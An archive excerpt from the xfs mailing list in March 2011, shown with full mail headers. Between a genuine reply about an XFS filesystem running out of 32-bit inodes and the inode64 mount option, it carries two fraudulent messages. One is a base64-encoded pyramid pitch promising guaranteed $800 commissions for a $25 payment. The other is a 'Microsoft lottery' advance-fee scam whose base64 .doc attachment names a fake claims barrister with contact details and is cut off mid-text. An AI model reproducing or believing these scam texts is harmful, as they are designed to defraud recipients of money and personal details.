bSAtLS0tLS0tLS0tLSBVbml0ZWQgS2luZ2RvbQ0KUCAtLS0gTUFSQ0guIDI2IEAgMjo1NiAg QU0tLSBKZWZmcmV5IEphY29icy0tLS0tLS0tLS0gR2VybWFueQ0KTSAtLS0gTUFSQ0guIDI2 IEAgNDoxOSAgQU0tLSBNYXlldGggVGhvbXBzb24tLS0tLS0tLS0gU2luZ2Fwb3JlDQpQIC0t LSBNQVJDSC4gMjYgQCA0OjI4ICBBTS0tIENoYW5kcmVuYSBXaGl0ZS0tLS0tLS0tLSBJdGFs eQ0KUCAtLS0gTUFSQ0guIDI2IEAgMjozOCAgQU0tLSBKaW5reSBCdWZmZXItLS0tLS0tLS0t LS0gVW5pdGVkIFN0YXRlcw0KUCAtLS0gTUFSQ0guIDI2IEAgMjo1MyAgQU0tLSBBaWxhaW5l IFNtaXRoIC0tLS0tLS0tLS0gVW5pdGVkIEtpbmdkb20NClAgLS0tIE1BUkNILiAyNSBAIDI6 NTYgIEFNLS0gTWFuZGVuZSBKb25oc29uLS0tLS0tLS0tIEdlcm1hbnkNCk0gLS0tIE1BUkNI LiAyNSBAIDQ6MTkgIEFNLS0gQ3Jpc3RpYW4gR2F0bWFpdGFuLS0tLS0tIFNpbmdhcG9yZQ0K UCAtLS0gTUFSQ0guIDI1IEAgNDoyOCAgQU0tLSBKaG9uIENhcm1hbG9uLS0tLS0tLS0tLS0g SXRhbHkNCk0gLS0tIE1BUkNILiAyNSBAIDY6MDEgIEFNLS0gbGFsYWluZSBBbmRlcnNvbi0t LS0tLS0tIEF1c3RyYWxpYQ0KUCAtLS0gTUFSQ0guIDI1IEAgNzoxMSAgQU0tLSBSZWJlY2Nh IFVuZGVyd29vZC0tLS0tLS0gSHVuZ2FyeQ0KUCAtLS0gTUFSQ0guIDI1IEAgNzozOSAgQU0t LSBKZXJpY2hvIEphY2tzb24tLS0tLS0tLS0gQ2FuYWRhDQpQIC0tLSBNQVJDSC4gMjUgQCA5 OjQyICBBTS0tIFRob21hcyBTaWx2YSAtLS0tLS0tLS0tLSBTcmkgTGFua2ENCk0gLS0tIE1B UkNILiAyNSBAIDk6NTggIFBNLS0gR3JhY2UgVGF5bG9yLS0tLS0tLS0tLS0tIFVuaXRlZCBT dGF0ZXMNClAgLS0tIE1BUkNILiAyNSBAIDEwOjIxIFBNLS0gR2luYSBIZW5yeS0tLS0tLS0t LS0tLS0tIE5ldyBaZWFsYW5kDQpQIC0tLSBNQVJDSC4gMjQgQCAxMToyNCBQTS0tIE1vaGFt bWVkIEFobWVuIC0tLS0tLS0tLSBSb21hbmlhDQpNIC0tLSBNQVJDSC4gMjQgQCAxMTozMyBQ TS0tIFRyYWNleSBEdW5jYW4tLS0tLS0tLS0tLSBQdWVydG8gUmljbw0KUCAtLS0gTUFSQ0gu IDI0IEAgMTE6NDEgUE0tLSBKYW5lIFN0YXdydC0tLS0tLS0tLS0tLS0gVW5pdGVkIFN0YXRl cw0KUCAtLS0gTUFSQ0guIDI0IEAgMTE6NDcgUE0tLSBKYW5pY2UgWW91bmdzdG93bi0tLS0t LS0gVGFpd2FuDQpQIC0tLSBNQVJDSC4gMjQgQCAxMTo1MyBQTS0tIFNoaXJsZXkgT25nLS0t LS0tLS0tLS0tLSBDaGluYQ0KUCAtLS0gTUFSQ0guIDI0IEAgMTo0NSAgQU0tLSBSeWFubiBM YW1iZXJ0IC0tLS0tLS0tLS0gRXVyb3BlDQpNIC0tLSBNQVJDSC4gMjQgQCAxMjozNCBBTS0t IE5pY2sgR2F1Y2kgLS0tLS0tLS0tLS0tLSBDYWxlZm9ybmlhDQpNIC0tLSBNQVJDSC4gMjQg QCAxMDoyNCBBTS0tIERvbiBSaWxleSAtLS0tLS0tLS0tLS0tLSBOZXRoZXJsYW5kDQpQIC0t LSBNQVJDSC4gMjQgQCAxMDozMCBBTS0tIExvcm5lIFdoaXR0YWtlciAtLS0tLS0tLSBTd2V0 emVybGFuZA0KUCAtLS0gTUFSQ0guIDI0IEAgMDI6MTQgQU0tLSBBc2h3YW5pIFZvaHJhIC0t LS0tLS0tLS0gQnJhemlsDQpNIC0tLSBNQVJDSC4gMjQgQCAyOjM0ICBBTS0tIEtldmluIEh1 bnQgLS0tLS0tLS0tLS0tLSBVbml0ZWQgU3RhdGVzDQpQIC0tLSBNQVJDSC4gMjQgQCAxOjU0 ICBBTS0tIENoYXJsZXMgQnJvd24tLS0tLS0tLS0tLSBVbml0ZWQgU3RhdGVzDQoNClRoZXJl Zm9yZSwgeW91IGhhdmUgYSBHVUFSQU5URUVEICQ4MDAgQ29tbWlzc2lvblMgIGV2ZXJ5IG1v bnRoIGZyb20gbm93IG9uIQ0KDQpFYXJuICQyNVBlciBQcm9jZXNzIUVhY2ggJDI1IHggMzIg PSAkODAwIENvbW1pc3Npb24gd2lsbCBiZSB5b3Vycy4uLg0KDQpCZSBTdXJlIHRvIENvcHkg dGhlIGxpbmsgYmVsb3cgJiBQYXN0ZSBpbnRvIHlvdXIgYnJvd3NlciBhbmQgcHJlc3MgZW50 ZXI6DQpUbyBTZWN1cmUgeW91ciAkODAwIGNvbW1pc3Npb24hDQoNCllvdSB3aWxsIGFjY2Vz cyB5b3VyICQ4MDAgaW4gYW55IEFUTSB3aGVuIHlvdSBKb2luIGVhcmx5IG91ciB3ZWVrbHkg Y3ljbGUuDQogDQpDbGljayBCZWxvdyEhIUFuZCBKb2luIFJpZ2h0IE5vdy4uDQoNCmh0dHBz Oi8vd3d3LnBsaW11cy5jb20vanNwL3JlZGlyZWN0LmpzcD9jb250cmFjdElkPTI3NTcwNjYm cmVmZXJyZXI9a2ltYXkNCg0KSnVzdCBvbmUgc2ltcGxlIHBheW1lbnQgb2YgJDI1IGFuZCB5 b3UgY291bGQgaGF2ZSBlYXJuICQ4MDAgUmVtZW1iZXIgbm8gb25lIGVsc2UgICAgDQpDYW4g Z2l2ZSB0aGlzIGtpbmQgb2YgbW9uZXkgZXZlcnkgMjB0aCBvZiB0aGUgbW9udGguIFRvZGF5 IGl0cyAkODAwIEZvciB0aGUgICANCnN0YXJ0IG9mIHRoZSBtb250aCBvZiBNYXJjaCAyMDEx IGlmIGdvZXMgdXAgZGFpbHkgdW50aWwgdGhlIGVuZCBvZiB0aGUgbW9udGguDQoNCllvdSBt dXN0IFVQR1JBREUgcmlnaHQgYXdheSBvciBiZWZvcmUgb3RoZXJzIGRvLi4uLg0KDQpCdXNp bmVzcyBNYW5hZ2VyIFN1Y2Nlc3MsIEthcmVuIEphY2tzb24NCldlYWx0aE1pbmVyc0BnbWFp bC5jb20uY29tIA0KTUFJTiBPRkZJQ0UsIFVTQSwgVUssIEF1c3RyYWxpYSwgQXNpYSwgRXVy b3BlDQoNCg0KDQoNCg0KaHR0cDovL3d3dy5jbGFmbGluLmVkdS9OZXdzLz9hPTk1NiZ6PTEN Cg0KX19fX19fX19fX18NClZpc2l0IHVzIGF0IDoNCmh0dHA6Ly93d3cuY2xhZmxpbi5lZHU= From tsesow@gmail.com Sun Mar 27 08:22:09 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID,T_TO_NO_BRKTS_FREEMAIL autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2RDM9wI121650 for ; Sun, 27 Mar 2011 08:22:09 -0500 X-ASG-Debug-ID: 1301232316-086a01c40000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-iy0-f181.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E16C837F78E for ; Sun, 27 Mar 2011 06:25:16 -0700 (PDT) Received: from mail-iy0-f181.google.com (mail-iy0-f181.google.com [209.85.210.181]) by cuda.sgi.com with ESMTP id tODTeBMXtDgDKgxB for ; Sun, 27 Mar 2011 06:25:16 -0700 (PDT) Received: by iyb26 with SMTP id 26so2937826iyb.26 for ; Sun, 27 Mar 2011 06:25:16 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:message-id:date:from:reply-to:user-agent :mime-version:to:subject:references:in-reply-to:content-type :content-transfer-encoding; bh=MOeIDS4ypCW7+q5cPTGm2MwIFW4WYEU3UAd20bR2vAE=; b=rDtDnT1MbttXYhA+fy/TQUtE1BVgAQVvsDZrafS+V29zLcGiBJx09+QxtXmWWF4OR8 K6uuoASdI5j8byOovoqS3yV5PXuqBP1fp/qppJe+xd9tZGa6rqLJ15wmEBijqthte7U8 cMq5QQNh/LHRvKkDyjGxhfppAGeuHTocV36iU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:reply-to:user-agent:mime-version:to:subject :references:in-reply-to:content-type:content-transfer-encoding; b=geiRou4vg+VAkCKJfAPOX7PEiQdp6nipNePaCXXXBWTba/Ama6aE1TIYcQc2G5ZyFl zdBv2HrI10nfYLGyWR03PCcGZSOuQfEW6f549uLrcGx8keNlv0WoQJ+b1O617oI2gCqv rb4EO8LM3S+fX3IXA9x/dCiWFSGRzu7aIkkiU= Received: by 10.231.113.86 with SMTP id z22mr3061822ibp.93.1301232315885; Sun, 27 Mar 2011 06:25:15 -0700 (PDT) Received: from [192.168.2.101] (97-122-93-127.hlrn.qwest.net [97.122.93.127]) by mx.google.com with ESMTPS id y10sm2190479iba.46.2011.03.27.06.25.13 (version=SSLv3 cipher=OTHER); Sun, 27 Mar 2011 06:25:14 -0700 (PDT) Message-ID: <4D8F3AB8.4050803@timsesow.com> Date: Sun, 27 Mar 2011 07:25:12 -0600 From: Timothy Sesow Reply-To: tim@timsesow.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.14) Gecko/20110223 Thunderbird/3.1.8 MIME-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: No space left on device on xfs filesystem with 7.7TB free Subject: Re: No space left on device on xfs filesystem with 7.7TB free References: <4D8E0774.1070200@sandeen.net> In-Reply-To: <4D8E0774.1070200@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-iy0-f181.google.com[209.85.210.181] X-Barracuda-Start-Time: 1301232316 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.42 X-Barracuda-Spam-Status: No, SCORE=-1.42 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59121 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I had the same problem recently and couldn't go to inode64, so I put a writeup at http://osvault.blogspot.com/2011/03/fixing-1tbyte-inode-problem-in-xfs-file.html on what I did to find the files in the lower allocation groups and move them. On 03/26/2011 09:34 AM, Eric Sandeen wrote: > On 3/26/11 8:41 AM, atyu30 atyu30 wrote: >> >> I'm running RedHat Linux Enterprise Server 5.2, on a 64-bit x86_64 >> Linux machine with kernel version 2.6.18-128.el5 smp. I appear to >> have version 2.9.4 of xfsprogs. > Just as point of reference, if you're using the xfs-kmod, that is > extremely old, un-updated, and unsupported at this point. > >> I have a 22TB xfs filesystem ,Yesterday, the hard disk is full, today >> released a 7.7T disk space.But still can not write to new file. > You have probably run out of 32-bit inode space on your 27T filesystem. > >> software ambience: >> >> [root@Production data5]# uname -a Linux Production 2.6.18-128.el5 #1 >> SMP Wed Jan 21 10:41:14 EST 2009 x86_64 x86_64 x86_64 GNU/Linux >> >> [root@Production data5]# rpm -qa | grep xfs >> xfsprogs-2.9.4-1.el5.centos xorg-x11-xfs-1.0.2-4 kmod-xfs-0.4-2 >> > that's X11, not the filesystem, for what it's worth :) > >> problem: >> >> [root@Production data5]# df -h Filesystem Size Used Avail >> Use% Mounted on /dev/sda1 48G 6.7G 39G 15% / >> /dev/sda2 81G 4.0G 73G 6% /opt /dev/sdb1 >> 22T 15T 7.7T 65% /data2 tmpfs 2.0G 0 2.0G >> 0% /dev/shm >> >> [root@Production data5]# df -i Filesystem Inodes IUsed >> IFree IUse% Mounted on /dev/sda1 12812288 136847 12675441 >> 2% / /dev/sda2 21867648 8440 21859208 1% /opt >> /dev/sdb1 23429382016 4625792 23424756224 1% /data2 >> tmpfs 504701 1 504700 1% /dev/shm >> >> [root@Production data5]# touch test.log touch: cannot touch >> `test.log': No space left on device > If your applications can handle> 32-bit inode numbers, mount -o inode64 > and see if you can create the new file. > > hm, we should maybe printk in this case, it comes up often enough. > > -Eric >> >> _______________________________________________ xfs mailing list >> xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From ukmicronationwide@w.cn Sun Mar 27 14:40:09 2011 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2RJe5VZ135100 for ; Sun, 27 Mar 2011 14:40:09 -0500 X-ASG-Debug-ID: 1301254989-092d00bb0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from maiev.nerim.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 596E9380057 for ; Sun, 27 Mar 2011 12:43:09 -0700 (PDT) Received: from maiev.nerim.net (smtp-150-sunday.nerim.net [194.79.134.150]) by cuda.sgi.com with SMTP id 0HjkRnSoUpS0UrGA for ; Sun, 27 Mar 2011 12:43:09 -0700 (PDT) Received: from solcarlus.nerim.net (solcarlus.nerim.net [62.4.17.27]) by maiev.nerim.net (Postfix) with ESMTP id D8D5C2E018; Sun, 27 Mar 2011 21:43:08 +0200 (CEST) Received: from webmail.nerim.fr (localhost [127.0.0.1]) by solcarlus.nerim.net (Postfix) with ESMTP id 5BCE260E1; Sun, 27 Mar 2011 21:24:30 +0200 (CEST) MIME-Version: 1.0 Date: Sun, 27 Mar 2011 21:24:29 +0200 From: MICROSOFT COMPANY PROMOTION To: undisclosed-recipients:; X-ASG-Orig-Subj: CONGRATULATIONS!!! Subject: CONGRATULATIONS!!! Organization: MICROSOFT COMPANY Reply-To: ukmicronationwide002@w.cn Message-ID: <483100fc507709148c49875d308074b9@nerim.net> X-Sender: ukmicronationwide@w.cn User-Agent: RoundCube Webmail/0.1 X-Login: c2afidecompta@nerim.net Content-Type: multipart/mixed; boundary="=_21e002bde144449bc096ae4f01d38ead" X-Barracuda-Connect: smtp-150-sunday.nerim.net[194.79.134.150] X-Barracuda-Start-Time: 1301254994 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean --=_21e002bde144449bc096ae4f01d38ead Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable --=20 Find below the attach file of your winning information from Microsoft corporation company world online lottery 2011 Regards, Microsoft Manager. --=_21e002bde144449bc096ae4f01d38ead Content-Transfer-Encoding: base64 Content-Type: ; name="Congratulations18a.doc"; charset="UTF-8" Content-Disposition: attachment; filename="Congratulations18a.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAAMAAAAhAUAAAAAAAAA EAAAhgUAAAEAAAD+////AAAAAHgFAAB5BQAAegUAAHsFAAB8BQAAfQUAAH4FAAB/BQAAgAUAAIEF AACCBQAAgwUAAP////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAcWAJBAAA+BK/AAAAAAAAEAAAAAAABgAA2R4AAA4AYmpianFQcVAAAAAAAAAAAAAAAAAAAAAA AAAJBBYA6QYKABM6AQATOgEAwhYAAAAAAAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAKQAAAAAAIIHAAAAAAAAggcAAIIH AAAAAAAAggcAAAAAAACCBwAAAAAAAIIHAAAAAAAAggcAABQAAAAAAAAAAAAAAJYHAAAAAAAAniUA AAAAAACeJQAAAAAAAJ4lAAA4AAAA1iUAAHwAAABSJgAAjAAAAJYHAAAAAAAAjKsAAHYCAADqJgAA FgAAAAAnAAAAAAAAACcAAAAAAAAAJwAAAAAAAAAnAAAAAAAAkJkAAAAAAACQmQAAAAAAAJCZAAAA AAAAC6sAAAIAAAANqwAAAAAAAA2rAAAAAAAADasAAAAAAAANqwAAAAAAAA2rAAAAAAAADasAACQA AAACrgAAaAIAAGqwAABaAAAAMasAABUAAAAAAAAAAAAAAAAAAAAAAAAAggcAAAAAAAAXnwAAAAAA AAAAAAAAAAAAAAAAAAAAAABelgAA1AIAADKZAABeAAAAF58AAAAAAAAXnwAAAAAAADGrAAAAAAAA AAAAAAAAAACCBwAAAAAAAIIHAAAAAAAAACcAAAAAAAAAAAAAAAAAAAAnAABebwAARqsAABYAAADL pgAAAAAAAMumAAAAAAAAy6YAAAAAAAAXnwAAWAAAAIIHAAAAAAAAACcAAAAAAACCBwAAAAAAAAAn AAAAAAAAC6sAAAAAAAAAAAAAAAAAAMumAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAF58AAAAAAAALqwAAAAAAAAAAAAAAAAAAy6YAAAAAAAAAAAAA AAAAAMumAAAAAAAAggcAAAAAAACCBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAy6YAAAAAAAAAJwAAAAAAAN4mAAAMAAAAgOGjIx7r ywEAAAAAAAAAAJ4lAAAAAAAAb58AAHAAAADLpgAAAAAAAAAAAAAAAAAAZ6kAAKQBAABcqwAAMAAA AIyrAAAAAAAAy6YAAAAAAADEsAAAAAAAAN+fAABeAwAAxLAAAAAAAADLpgAAGAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADj pgAAXAAAAMSwAAAAAAAAAAAAAAAAAACCBwAAAAAAAD+nAAAoAgAAkJkAAI4BAAAemwAAHAEAAMum AAAAAAAAOpwAAOQAAAAenQAA+QEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkJkA AAAAAACQmQAAAAAAAJCZAAAAAAAAMasAAAAAAAAxqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAPaMAAI4DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJCZAAAA AAAAkJkAAAAAAACQmQAAAAAAAIyrAAAAAAAAF58AAAAAAAAXnwAAAAAAABefAAAAAAAAF58AAAAA AAAAAAAAAAAAAJYHAAAAAAAAlgcAAAAAAACWBwAARBoAANohAADEAwAAlgcAAAAAAACWBwAAAAAA AJYHAAAAAAAA2iEAAAAAAACWBwAAAAAAAJYHAAAAAAAAlgcAAAAAAACCBwAAAAAAAIIHAAAAAAAA ggcAAAAAAACCBwAAAAAAAIIHAAAAAAAAggcAAAAAAAD/////AAAAAAIADAEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgIoKCg oKCgoKCgoKCgoKCgoKAgDQigoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKAgoENvbmdy YXR1bGF0aW9ucyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0NoCANRlJPTTogVEhFIERFU0sgT0YgVEhF IEUtTUFJTCBQUk9NT1RJT05TIE1BTkFHRVIgSU5URVJOQVRJT05BTA1QUk9NT1RJT05TL1BSSVpF IEFXQVJEIERFUEFSVE1FTlQsIE1JQ1JPU09GVKBDT1JQT1JBVElPTqBTV0VFUFNUQUtFUyBXT1JM RCBMT1RURVJZIFVOSVRFRCBLSU5HRE9NLjYxLTcwIFNPVVRIQU1QVE9OIFJPVyBCTE9PTVNCVVJZ IExPTkRPTiBVTklURUQgS0lOR0RPTSBXQzFCIDRBUi4NDVJFRkVSRU5DRSBOTzogVUsvOTQyMFgv MDUNQkFUQ0ggTk86IDA3NC8wNS9aWTM2OSAgICAgIA0IV0lOTklORyBOTzogUEI4NzAxL0xQUkMN V0lOTkVSOiBOTzE3DaANDQ0NDQ0NCA0NRUxFQ1RST05JQyBFTUFJTCBBV0FSRCBXSU5OSU5HIE5P VElGSUNBVElPTiBBV0FSRCBQUkVTRU5UQVRJT04gQ0VOVEVSOiBVTklURUQgS0lOR0RPTQ0NDQgN DaANDQ0NDQ0NDQhERUFSIFdJTk5FUiwNDQhNSUNST1NPRlQgQ08tT1BFUkFUSU9OIE1BTkFHRU1F TlQgV09STERXSURFIEFSRSBQTEVBU0VEIFRPIElORk9STSBZT1UgVEhBVCBUSEUgRklOQUwgQU5O T1VOQ0VNRU5UIFRIQVQgWU9VIEFSRSBPTkUgT0YgT1VSIEVORCBPRiBZRUFSIFdJTk5FUlMgT0Yg VEhFIE1TLVdPUkxEIFVOSVRFRCBLSU5HRE9NIElOVEVSTkFUSU9OQUwgTE9UVEVSWSBQUk9HUkFN IEhFTEQgT04gVEhFIDdUSCBNQVJDSCwgMjAxMS5USEUgT05MSU5FIENZQkVSIExPVFRPIERSQVdT IFdBUyBDT05EVUNURUQgRlJPTSBBTiBFWENMVVNJVkUgTElTVCBPRiAxNDcsMDAwIEUtTUFJTCBB RERSRVNTRVMgT0YgSU5ESVZJRFVBTFMgQU5EIENPUlBPUkFURSBCT0RJRVMgUElDS0VEIEJZIEFO IEFEVkFOQ0VEIEFVVE9NQVRFRCBSQU5ET00gQ09NUFVURVIgU0VBUkNIIEZST00gVEhFIElOVEVS TkVUIFdJVEhPVVQgQU5ZIFBISVNJQ0FMIFRJQ0tFVFMgU09MRC4NDUFGVEVSIFRISVMgQVVUT01B VEVEIENPTVBVVEVSIEJBTExPVCwgWU9VUiBFLU1BSUwgQUREUkVTUyBFTUVSR0VEIEFTIE9ORSBP RiBUSFJFRSBXSU5ORVJTIElOIFRIRSBDQVRFR09SWSAiQSIgV0lUSCBTRVJJQUwgTlVNQkVSIDcw NzgyNDA3NyBBTkQgV0lUSCBUSEUgRk9MTE9XSU5HIFdJTk5JTkcgSU5GT1JNQVRJT046IKBZT1Ug QVJFIEhFTkNFRk9SVEggQVBQUk9WRUQgVE8gQ0xBSU0gQSBUT1RBTCBTVU0gT0YgozU1MCwwMDAu MDAgKEZJVkUgSFVORFJFRCBBTkQgRklGVFkgVEhPVVNBTkQgUE9VTkRTIFNURVJMSU5HKS4gUEFZ QUJMRSBJTiBDQVNIIENSRURJVEVEIFRPIEZJTEUgUkVGIE5POiBJTFAvSFcgMDQ1OTc4NDI1LzEx LiBUSElTIElTIEZST00gVE9UQUwgUFJJWkUgTU9ORVkgT0YgoyAyNyw1MDAsMDAwLjAwIFBPVU5E UyBTVEVSTElORywgU0hBUkVEIEFNT05HIFRIRaA1MKBMVUNLWSBJTlRFUk5BVElPTkFMIFdJTk5F UlMgV0lUSCBUT1NISUJBIFNBVEVMTElURSBMQVBUT1AgTU9ERUwgTDUwNUdTNTAzNyBJTqBGSVJT VCBBTkQgU0VDT05EoENBVEVHT1JZLg0NQUxMIFBBUlRJQ0lQQU5UUyBXRVJFIFNFTEVDVEVEoFRI Uk9VR0ggT1VSIE1JQ1JPU09GVCBDT01QVVRFUiBCQUxMT1QgU1lTVEVNIERSQVdOIEZST00gMTQ3 LDAwMCBFTUFJTFMsIDIxLDAwMCBFTUFJTFMgRlJPTSBFQUNIIENPTlRJTkVOVCAoQUZSSUNBLCBB TlRBUkNUSUNBLCBBU0lBLCBBVVNUUkFMSUEsIEVVUk9QRSwgTk9SVEggQU1FUklDQSwgQU5EIFNP VVRIIEFNRVJJQ0EuLCBBUyBQQVJUIE9GIElOVEVSTkFUSU9OQUwgIkUtTUFJTCIgUFJPTU9USU9O UyBQUk9HUkFNTUUsIFdISUNIIElTIENPTkRVQ1RFRCBBTk5VQUxMWSBGT1IgT1VSIFBST01JTkVO VCBNUyAtV09SRCBVU0VSUyBBTEwgT1ZFUiBUSEUgV09STEQgVE8gRU5DT1VSQUdFIFRIRSBVU0Ug T0YgSU5URVJORVQgQU5EIENPTVBVVEVSUyBXT1JMRFdJREUuoCANoA1ZT1VSIEZVTkQgKENFUlRJ RklFRCBDSEVRVUUgQU5EIFlPVVIgV0lOTklORyBDRVJUSUZJQ0FURSkgSEFTIEJFRU4gSU5TVVJF RCBXSVRIIFlPVVIgUkVGIE5POiBVSy85NDIwWC8wNSBBTkQgV0lMTCBCRSBSRUFEWSBGT1IgVFJB TlNGRVIgQVMgU09PTiBBUyBZT1UgQ09OVEFDVCBZT1VSIENMQUlNIEFHRU5UIEJBUlJJU1RFUi5N QVJLIFJFWC4gWU9VUiBFLU1BSUwgQUREUkVTUyBIQVMgVE8gQkUgVVNFRCBJTiBBTEwgQ09SUkVT UE9OREVOQ0UgV0lUSCBZT1VSIENMQUlNUyBPRkZJQ0VSLCBQTEVBU0UgTk9URSBUSEFULCBZT1Ug QVJFIFRPDUNPTlRBQ1QgWU9VUiBDTEFJTVMgT0ZGSUNFUiBWSUEgRU1BSUwgT1IgVEVMRVBIT05F IEFTIFdFIEFSRSBQUk9NT1RJTkcgVEhFIFVTRSBPRiBFLU1BSUwuIA0NSU4gQURESVRJT04sIFlP VSBIQVZFIFRIRSBSSUdIVCBUTyBDQUxMIEhJTSBUTyBDT05GSVJNIFlPVVIgV0lOTklOR1MgQU5E IEdPVkVSTk1FTlQgVEFYIFBBWU1FTlQgVEhBVCBJUyBBTEwsIEFTIEhFIFdJTEwgUFJPVklERSBZ T1UgV0lUSCBUSEUgTkVDRVNTQVJZIERFVEFJTFMgT04gSE9XIFRPIENMQUlNIFlPVVIgUFJJWkUu IEFTIFBBUlQgT0YgT1VSIFNFQ1VSSVRZIFBST1RPQ09MLCBZT1UgQVJFIFRPIFFVT1RFIFRISVMg U0VDVVJJVFkgQ09ERSBNU1cvTUFZL1hYMDcgVE8gWU9VUiBDTEFJTUlORyBBR0VOVC4gVEhJUyBJ UyBUTyBQUkVWRU5UIFNDQU0uDaCgDUNPTlRBQ1QgWU9VUiBDTEFJTVMgQkFSUklTVEVSIE9GRklD RVKgSU6gVU5JVEVEIEtJTkdET00uIA1OQU1FOqAgQkFSUklTVEVSLk1BUksgUkVYDQhFTUFJTDog ICBiYXJybWFya3JleC5jZmFjQHcuY24NVEVMRVBIT05FOiArNDQgNzA0NTcgMjQ1NTMNDU5PVEU6 IEJFIFdBUk5FRCBOT1QgVE8gUkVQTFkgIE1BSUxTIExJS0UgVEhJUyBPTiBORVQsIEFTIFRIRVJF 